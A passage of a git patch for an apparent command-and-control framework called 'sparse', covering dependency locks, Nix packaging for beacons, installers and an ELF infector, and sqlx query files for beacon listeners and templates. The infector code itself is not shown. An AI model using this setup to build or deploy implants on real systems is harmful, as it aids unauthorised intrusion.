From 90c8b9714146051ee1919bb5c6cf2a4fff3013a6 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 4 Feb 2025 16:41:20 -0500 Subject: [PATCH] feat: fixed server comp, added ELF inject I gave up and just put it in a Docker image, it's not as important as the beacons being statically compiled --- Cargo.lock | 18 +- flake.lock | 49 ++- flake.nix | 27 +- packages.nix | 73 ++-- ...c0223a716c4443574411c6342f8ab26e9e81c.json | 20 + ...0d16eff715a4d2ffe93c6723bad368483fb69.json | 50 +++ sparse-server/.cargo/config.toml | 7 +- ...0a619d11de96b3dd65f9b4331b06cde46eaca.json | 12 + ...26c47b01d4824cdf7be6316bcfa65444ca95a.json | 12 + ...8bf040f1279bb1aee533f7ab45d375f6e0b70.json | 12 + ...9d35f00ca2c1b7ac926d686698c0658fe00cc.json | 12 + ...c4b8b817d57d9da5765a64ca2a320dc38a625.json | 86 +++++ ...a37d4fa553efe75f3b8cedffb9fb76aab796a.json | 12 + ...7764b75d4954caaf7d0d589b6c0f259ca828a.json | 12 + ...8699192a9e5dd809d2bf89906fb663dea45a6.json | 12 + ...4931aaa45f8d1cd1de4697bcd726865719d70.json | 12 + ...b9e109d34d70954e577e49cd2cc33d82e2111.json | 20 + ...3d25b9abb6ecb4a31700b95141937c2f8f1f9.json | 32 ++ ...43c865679472b6bfa81c9c24268d1a5f3a201.json | 12 + ...5dc9095185b0fdcc5bf3613966699a9e67577.json | 12 + ...c0223a716c4443574411c6342f8ab26e9e81c.json | 20 + ...901e939ee2c9e832ed1fae2661ad770d3ad60.json | 26 ++ ...cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json | 12 + ...5e4c73237011eba8ea010c6dbca959cb44ff9.json | 12 + ...cc684ec070d024bf3fae99179c3b198d271f2.json | 38 ++ ...a69b7d786622c116452e8a131145b0832b43b.json | 12 + ...40754734bc05bbf01de6de3d0d7d012f56f7a.json | 12 + ...e1724d2e93541bc9156cde2fdf0876712c7f5.json | 12 + ...dcc0b2fca914c810c6d9770456b8005b39d65.json | 12 + ...f488d29af081f3e958d120ec2dbff137e9169.json | 12 + ...ad524260b8aa2a15c5a8637a5512babd3f607.json | 12 + ...419cb70acf9489c1b0ad5597b88deaf7322f2.json | 12 + ...b618ad0dc8cdff118b6d801b568592762a29f.json | 38 ++ ...0aa449c471f540f90d407cd14a94f1fc451f4.json | 12 + ...0b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json | 38 ++ ...0d16eff715a4d2ffe93c6723bad368483fb69.json | 50 +++ ...de7b169e334ac96435f41e58ec809f0bdaabc.json | 26 ++ ...84ceaea2da43d9ce3741a4b47b3ae1ebca342.json | 26 ++ ...4ec537884627ec03fa91c59105f494716ef38.json | 12 + ...2d5e15da15f805064f1e969a1d6d9516294b6.json | 12 + sparse-unix-infector/Cargo.toml | 7 +- sparse-unix-infector/build.rs | 9 + sparse-unix-infector/src/elf_types.rs | 158 ++++++++ sparse-unix-infector/src/lib.rs | 351 +++++++++++++++++- sparse-unix-installer/Cargo.toml | 4 + sparse-unix-installer/src/main.rs | 78 +++- sparse-windows-beacon/Cargo.toml | 2 + sparse-windows-beacon/src/main.rs | 4 +- sparse-windows-installer/src/lib.rs | 14 - sparse-windows-installer/src/main.rs | 3 + system-libs.nix | 23 +- unix-loader/src/libloader.zig | 6 +- unix-loader/src/loader.zig | 4 +- 53 files changed, 1477 insertions(+), 94 deletions(-) create mode 100644 sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json create mode 100644 sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json create mode 100644 sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json create mode 100644 sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json create mode 100644 sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json create mode 100644 sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json create mode 100644 sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json create mode 100644 sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json create mode 100644 sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json create mode 100644 sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json create mode 100644 sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json create mode 100644 sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json create mode 100644 sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json create mode 100644 sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json create mode 100644 sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json create mode 100644 sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json create mode 100644 sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json create mode 100644 sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json create mode 100644 sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json create mode 100644 sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json create mode 100644 sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json create mode 100644 sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json create mode 100644 sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json create mode 100644 sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json create mode 100644 sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json create mode 100644 sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json create mode 100644 sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json create mode 100644 sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json create mode 100644 sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json create mode 100644 sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json create mode 100644 sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json create mode 100644 sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json create mode 100644 sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json create mode 100644 sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json create mode 100644 sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json create mode 100644 sparse-unix-infector/build.rs create mode 100644 sparse-unix-infector/src/elf_types.rs delete mode 100644 sparse-windows-installer/src/lib.rs create mode 100644 sparse-windows-installer/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 58cf903..d4f0666 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3202,13 +3202,6 @@ dependencies = [ "tracing", ] -[[package]] -name = "sparse-infector" -version = "2.0.0" -dependencies = [ - "sparse-actions", -] - [[package]] name = "sparse-server" version = "0.1.0" @@ -3261,13 +3254,22 @@ dependencies = [ "libc", ] +[[package]] +name = "sparse-unix-infector" +version = "2.0.0" +dependencies = [ + "errno", + "libc", + "sparse-actions", +] + [[package]] name = "sparse-unix-installer" version = "2.0.0" dependencies = [ "rand 0.9.0", "sparse-actions", - "sparse-infector", + "sparse-unix-infector", "structopt", ] diff --git a/flake.lock b/flake.lock index f9430f0..b5a6642 100644 --- a/flake.lock +++ b/flake.lock @@ -3,11 +3,11 @@ "advisory-db": { "flake": false, "locked": { - "lastModified": 1737246984, - "narHash": "sha256-cjWzMwqej9zVoFGV5NkefOspMDJJ+gN3+zkFZcBBAkc=", + "lastModified": 1738539423, + "narHash": "sha256-qb4FLJFuIHdzI1oeVor69678RugKy8YwsLRQd38fJnc=", "owner": "rustsec", "repo": "advisory-db", - "rev": "cfd49ce116f12c856a3f3c065d041fd0dd7169dc", + "rev": "08617accdc251d22bc8fd4e3bd62cf53eeddf611", "type": "github" }, "original": { @@ -18,11 +18,11 @@ }, "crane": { "locked": { - "lastModified": 1737250794, - "narHash": "sha256-bdIPhvsAKyYQzqAIeay4kOxTHGwLGkhM+IlBIsmMYFI=", + "lastModified": 1738652123, + "narHash": "sha256-zdZek5FXK/k95J0vnLF0AMnYuZl4AjARq83blKuJBYY=", "owner": "ipetkov", "repo": "crane", - "rev": "c5b7075f4a6d523fe8204618aa9754e56478c0e0", + "rev": "c7e015a5fcefb070778c7d91734768680188a9cd", "type": "github" }, "original": { @@ -61,6 +61,22 @@ "url": "https://download.freebsd.org/releases/amd64/14.1-RELEASE/base.txz" } }, + "libcap-src": { + "flake": false, + "locked": { + "lastModified": 1738428567, + "narHash": "sha256-RZk104gsPj4NIGKF7A8C5cqnxPFW9oSijxCDm4xVES4=", + "ref": "refs/heads/master", + "rev": "025f28ca4fe085fbcbf7933d53a42d335744e553", + "revCount": 721, + "type": "git", + "url": "https://git.kernel.org/pub/scm/libs/libcap/libcap.git" + }, + "original": { + "type": "git", + "url": "https://git.kernel.org/pub/scm/libs/libcap/libcap.git" + } + }, "libnl-src": { "flake": false, "locked": { @@ -80,11 +96,11 @@ "libpcap-src": { "flake": false, "locked": { - "lastModified": 1737403834, - "narHash": "sha256-Lrt/PPdmvnGDtgUuLnSrJm9bqZ0oOq/qjn+H/A7F+vQ=", + "lastModified": 1738360733, + "narHash": "sha256-bgJglWP2p6OdO9aN29WhAiNtqJSWLdN6Nj2hEwuPtko=", "ref": "refs/heads/master", - "rev": "4f45904ae414e6ea8c1794576a76fde60218d3b4", - "revCount": 6406, + "rev": "62390e8c5fceacf86f0fb9d95f71f701c03a3d4e", + "revCount": 6438, "type": "git", "url": "https://github.com/the-tcpdump-group/libpcap" }, @@ -95,11 +111,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1737469691, - "narHash": "sha256-nmKOgAU48S41dTPIXAq0AHZSehWUn6ZPrUKijHAMmIk=", + "lastModified": 1738546358, + "narHash": "sha256-nLivjIygCiqLp5QcL7l56Tca/elVqM9FG1hGd9ZSsrg=", "owner": "nixos", "repo": "nixpkgs", - "rev": "9e4d5190a9482a1fb9d18adf0bdb83c6e506eaab", + "rev": "c6e957d81b96751a3d5967a0fd73694f303cc914", "type": "github" }, "original": { @@ -115,6 +131,7 @@ "crane": "crane", "flake-utils": "flake-utils", "freebsd-libs-packed": "freebsd-libs-packed", + "libcap-src": "libcap-src", "libnl-src": "libnl-src", "libpcap-src": "libpcap-src", "nixpkgs": "nixpkgs", @@ -130,11 +147,11 @@ ] }, "locked": { - "lastModified": 1737340068, - "narHash": "sha256-5UciRckNV+YOZ6y6ASBIb01cySB12whDxgFUK+EqT8g=", + "lastModified": 1738635966, + "narHash": "sha256-5MbJhh6nz7tx8FYVOJ0+ixMaEn0ibGzV/hScPMmqVTE=", "owner": "oxalica", "repo": "rust-overlay", - "rev": "275c824ed9e90e7fd4f96d187bde3670062e721f", + "rev": "1ff8663cd75a11e61f8046c62f4dbb05d1907b44", "type": "github" }, "original": { diff --git a/flake.nix b/flake.nix index 1c0a0f8..7d30130 100644 --- a/flake.nix +++ b/flake.nix @@ -15,6 +15,10 @@ flake = false; }; + libcap-src = { + url = "git+https://git.kernel.org/pub/scm/libs/libcap/libcap.git"; + flake = false; + }; libpcap-src = { url = "git+https://github.com/the-tcpdump-group/libpcap"; flake = false; @@ -38,7 +42,7 @@ }; outputs = { self, nixpkgs, flake-utils, crane, rust-overlay, advisory-db - , libpcap-src, libnl-src, winpcap-libs, winpcap-installer + , libcap-src, libpcap-src, libnl-src, winpcap-libs, winpcap-installer , freebsd-libs-packed }: flake-utils.lib.eachSystem [ "x86_64-linux" ] (system: let @@ -48,12 +52,12 @@ }; system-libs = import ./system-libs.nix { - inherit pkgs libnl-src libpcap-src winpcap-installer + inherit pkgs libnl-src libcap-src libpcap-src winpcap-installer freebsd-libs-packed; }; inherit (system-libs) - freebsd-toolchain winpcap-drivers freebsd-libs libnl libpcap-linux-gnu - libpcap-linux-musl libpcap-freebsd; + freebsd-toolchain winpcap-drivers freebsd-libs libnl libcap + libpcap-linux-gnu libpcap-linux-musl libpcap-freebsd; buildTools = with pkgs; rec { base = [ @@ -71,7 +75,7 @@ binaryen sqlx-cli ]; - linux = buildTools.base ++ [ glibc musl ]; + linux = buildTools.base ++ [ glibc ]; freebsd = buildTools.base ++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ]; windows = buildTools.base ++ [ @@ -120,6 +124,7 @@ SPARSE_BUILD_LIBPCAP_LINUX_MUSL = libpcap-linux-musl; SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd; SPARSE_BUILD_LIBNL = libnl; + SPARSE_BUILD_LIBCAP = libcap; LIBCLANG_PATH = "${pkgs.libclang.lib}/lib"; @@ -179,8 +184,16 @@ ''; }); + linux = craneLib.devShell (buildEnvironment // { + name = "sparse-linux"; + + packages = buildTools.linux ++ devShellTools + ++ [ setup-zig-freebsd setup-dev-environment ] + ++ (with pkgs; [ musl ]); + }); + windows = craneLib.devShell (buildEnvironment // { - name = "sparse-default"; + name = "sparse-windows"; packages = buildTools.windows ++ devShellTools ++ [ setup-zig-freebsd setup-dev-environment ]; @@ -190,7 +203,7 @@ }); freebsd = craneLib.devShell (buildEnvironment // { - name = "sparse-default"; + name = "sparse-freebsd"; packages = buildTools.freebsd ++ devShellTools ++ [ setup-zig-freebsd setup-dev-environment ]; diff --git a/packages.nix b/packages.nix index e880504..b6c6642 100644 --- a/packages.nix +++ b/packages.nix @@ -1,6 +1,6 @@ { pkgs, buildTools, buildEnvironment, craneLib, advisory-db, winpcap-libs -, winpcap-drivers, freebsd-libs, libnl, libpcap-linux-musl, libpcap-linux-gnu -, libpcap-freebsd }: +, winpcap-drivers, freebsd-libs, libnl, libcap, libpcap-linux-musl +, libpcap-linux-gnu, libpcap-freebsd }: let patch-elf = header: drv: path: let hdr = toString header; @@ -83,21 +83,29 @@ let ./nl-sys/src/bridge.c (craneLib.fileset.commonCargoSources ./packets) (craneLib.fileset.commonCargoSources ./sparse-handler) - (craneLib.fileset.commonCargoSources ./sparse-server) ./sparse-server/style ./sparse-server/public ./sparse-server/migrations + ./sparse-server/.sqlx + ./sparse-handler/.sqlx + (craneLib.fileset.commonCargoSources ./sparse-server) ]; }; commonArgs = buildEnvironment // { inherit src; - strictDeps = true; + #strictDeps = true; nativeBuildInputs = buildTools.linux; buildInputs = buildTools.all; }; + linuxArgs = commonArgs // { + nativeBuildInputs = buildTools.linux ++ (with pkgs; [ musl ]); + + #RUSTFLAGS = "-Ctarget-feature=+crt-static"; + }; + freebsdArgs = commonArgs // { # Sigh... # For some reason, crane and cargo don't run the build script for FreeBSD @@ -117,21 +125,29 @@ let nativeBuildInputs = buildTools.linux ++ buildTools.windows; }; - linuxCargoArtifacts = craneLib.buildDepsOnly (commonArgs // { + gnuLinuxCargoArtifacts = craneLib.buildDepsOnly (linuxArgs // { + nativeBuildInputs = buildTools.linux ++ (with pkgs; [ glibc.static ]); + name = "sparse-deps-gnu-linux"; + cargoExtraArgs = + "--target=x86_64-unknown-linux-gnu --locked -p sparse-server"; + }); + linuxCargoArtifacts = craneLib.buildDepsOnly (linuxArgs // { name = "sparse-deps-linux"; - cargoExtraArgs = "--target=x86_64-unknown-linux-musl --locked"; + cargoExtraArgs = + "--target=x86_64-unknown-linux-musl --locked -p sparse-unix-beacon -p sparse-unix-installer"; }); freebsdCargoArtifacts = craneLib.buildDepsOnly (freebsdArgs // { name = "sparse-deps-freebsd"; cargoExtraArgs = - "--target=x86_64-unknown-freebsd --locked -p sparse-beacon"; + "--target=x86_64-unknown-freebsd --locked -p sparse-unix-beacon -p sparse-unix-installer"; }); windowsCargoArtifacts = craneLib.buildDepsOnly (windowsArgs // { name = "sparse-deps-windows"; - cargoExtraArgs = "--target=x86_64-pc-windows-gnu --locked -p sparse-beacon"; + cargoExtraArgs = + "--target=x86_64-pc-windows-gnu --locked -p sparse-windows-beacon -p sparse-windows-installer"; }); - sparse-beacon-linux = craneLib.buildPackage (commonArgs // { + sparse-beacon-linux = craneLib.buildPackage (linuxArgs // { cargoArtifacts = linuxCargoArtifacts; name = "sparse-beacon-linux"; cargoExtraArgs = "-p sparse-unix-beacon"; @@ -178,6 +194,7 @@ let mkdir $out export XDG_CACHE_HOME=$(mktemp -d) zig build \ + --color off \ --summary all \ --prefix $out \ --release=small \ @@ -200,6 +217,7 @@ let mkdir $out export XDG_CACHE_HOME=$(mktemp -d) zig build \ + --color off \ --summary all \ --prefix $out \ --release=small \ @@ -213,7 +231,7 @@ let ''; }; - sparse-installer-linux = craneLib.buildPackage (commonArgs // { + sparse-installer-linux = craneLib.buildPackage (linuxArgs // { cargoArtifacts = linuxCargoArtifacts; name = "sparse-installer-linux"; cargoExtraArgs = "-p sparse-unix-installer"; @@ -226,7 +244,7 @@ let SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so"; }); - sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // { + sparse-installer-freebsd-sysv = craneLib.buildPackage (freebsdArgs // { cargoArtifacts = linuxCargoArtifacts; name = "sparse-installer-freebsd"; cargoExtraArgs = "-p sparse-unix-installer"; @@ -256,32 +274,29 @@ let "${sparse-beacon-windows}/bin/sparse-windows-beacon.exe"; }); - sparse-server = craneLib.buildPackage (commonArgs // { - src = fileSetForWebCrate; + sparse-server = craneLib.mkCargoDerivation (commonArgs // { + src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate; + + cargoArtifacts = gnuLinuxCargoArtifacts; nativeBuildInputs = buildTools.linux ++ (with pkgs; [ glibc.static ]); - cargoArtifacts = linuxCargoArtifacts; name = "sparse-server-webclient"; + pname = "sparse-server-webclient"; - preBuild = '' - export DATABASE_URL=sqlite:./db.sqlite3 - sqlx database setup --source=sparse-server/migrations - ''; buildPhaseCargoCommand = '' cargo leptos build \ --release \ --project=sparse-server ''; doNotPostBuildInstallCargoBinaries = true; - installPhase = '' + doInstallCartoArtifacts = false; + installPhaseCommand = '' mkdir -p $out/bin cp target/x86_64-unknown-linux-gnu/release/sparse-server $out/bin ''; doCheck = false; - RUSTFLAGS = "-Ctarget-feature=+crt-static"; - SPARSE_INSTALLER_LINUX = "${sparse-installer-linux}/bin/sparse-unix-installer"; SPARSE_INSTALLER_FREEBSD = @@ -290,11 +305,21 @@ let "${sparse-installer-windows}/bin/sparse-windows-installer.exe"; }); + sparse-server-docker = pkgs.dockerTools.buildImage { + name = "sparse-server-docker"; + tag = "latest"; + + copyToRoot = [ sparse-server ]; + + config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; }; + }; + outputs = rec { packages = { - inherit sparse-server sparse-beacon-linux sparse-beacon-freebsd - sparse-beacon-windows linux-loader freebsd-loader sparse-installer-linux - sparse-installer-freebsd sparse-installer-windows; + inherit sparse-server sparse-server-docker sparse-beacon-linux + sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader + sparse-installer-linux sparse-installer-freebsd + sparse-installer-windows; inherit freebsd-zig-libc; diff --git a/sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json b/sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json new file mode 100644 index 0000000..2f193a6 --- /dev/null +++ b/sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json @@ -0,0 +1,20 @@ +{ + "db_name": "SQLite", + "query": "SELECT listener_id FROM beacon_listener", + "describe": { + "columns": [ + { + "name": "listener_id", + "ordinal": 0, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false + ] + }, + "hash": "844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c" +} diff --git a/sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json b/sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json new file mode 100644 index 0000000..5fee44a --- /dev/null +++ b/sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT * FROM beacon_listener WHERE listener_id = ?", + "describe": { + "columns": [ + { + "name": "listener_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "port", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "public_ip", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "domain_name", + "ordinal": 3, + "type_info": "Text" + }, + { + "name": "certificate", + "ordinal": 4, + "type_info": "Blob" + }, + { + "name": "privkey", + "ordinal": 5, + "type_info": "Blob" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + false, + false, + false, + false, + false, + false + ] + }, + "hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69" +} diff --git a/sparse-server/.cargo/config.toml b/sparse-server/.cargo/config.toml index e126768..9bc21cb 100644 --- a/sparse-server/.cargo/config.toml +++ b/sparse-server/.cargo/config.toml @@ -2,11 +2,12 @@ rustflags = ["-C", "link-arg=-fuse-ld=mold"] [target.x86_64-unknown-linux-gnu] -rustflags = ["-C", "link-arg=-fuse-ld=mold"] +linker = "clang" +rustflags = ["-Ctarget-feature=+crt-static", "--cfg=has_std", "-C", "link-arg=-fuse-ld=mold"] [unstable] build-std = ["std", "panic_abort", "core", "alloc"] build-std-features = ["panic_immediate_abort"] -[build] -rustflags = ["--cfg=has_std"] +#[build] +#rustflags = ["--cfg=has_std"] diff --git a/sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json b/sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json new file mode 100644 index 0000000..32ab202 --- /dev/null +++ b/sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_config (config_name, mode, random_min_time, random_max_time) VALUES (?, 'random', ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 3 + }, + "nullable": [] + }, + "hash": "020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca" +} diff --git a/sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json b/sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json new file mode 100644 index 0000000..94075cf --- /dev/null +++ b/sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO sessions (session_id, user_id, expires) VALUES (?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 3 + }, + "nullable": [] + }, + "hash": "06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a" +} diff --git a/sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json b/sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json new file mode 100644 index 0000000..0794dc9 --- /dev/null +++ b/sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "UPDATE users SET last_active = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70" +} diff --git a/sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json b/sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json new file mode 100644 index 0000000..f7af4b0 --- /dev/null +++ b/sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM beacon_template WHERE template_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc" +} diff --git a/sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json b/sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json new file mode 100644 index 0000000..e2c7861 --- /dev/null +++ b/sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json @@ -0,0 +1,86 @@ +{ + "db_name": "SQLite", + "query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener", + "describe": { + "columns": [ + { + "name": "operating_system", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "source_ip", + "ordinal": 1, + "type_info": "Text" + }, + { + "name": "source_mac", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "source_mode", + "ordinal": 3, + "type_info": "Text" + }, + { + "name": "source_netmask", + "ordinal": 4, + "type_info": "Integer" + }, + { + "name": "source_gateway", + "ordinal": 5, + "type_info": "Text" + }, + { + "name": "port", + "ordinal": 6, + "type_info": "Integer" + }, + { + "name": "public_ip", + "ordinal": 7, + "type_info": "Text" + }, + { + "name": "domain_name", + "ordinal": 8, + "type_info": "Text" + }, + { + "name": "certificate", + "ordinal": 9, + "type_info": "Blob" + }, + { + "name": "client_cert", + "ordinal": 10, + "type_info": "Blob" + }, + { + "name": "client_key", + "ordinal": 11, + "type_info": "Blob" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false, + true, + true, + true, + true, + false, + false, + false, + false, + false, + false + ] + }, + "hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625" +} diff --git a/sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json b/sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json new file mode 100644 index 0000000..5cb01a3 --- /dev/null +++ b/sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_config (config_name, mode, cron_schedule, cron_mode) VALUES (?, 'cron', ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 3 + }, + "nullable": [] + }, + "hash": "1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a" +} diff --git a/sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json b/sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json new file mode 100644 index 0000000..25d8392 --- /dev/null +++ b/sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM sessions WHERE expires < ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a" +} diff --git a/sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json b/sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json new file mode 100644 index 0000000..8aabec5 --- /dev/null +++ 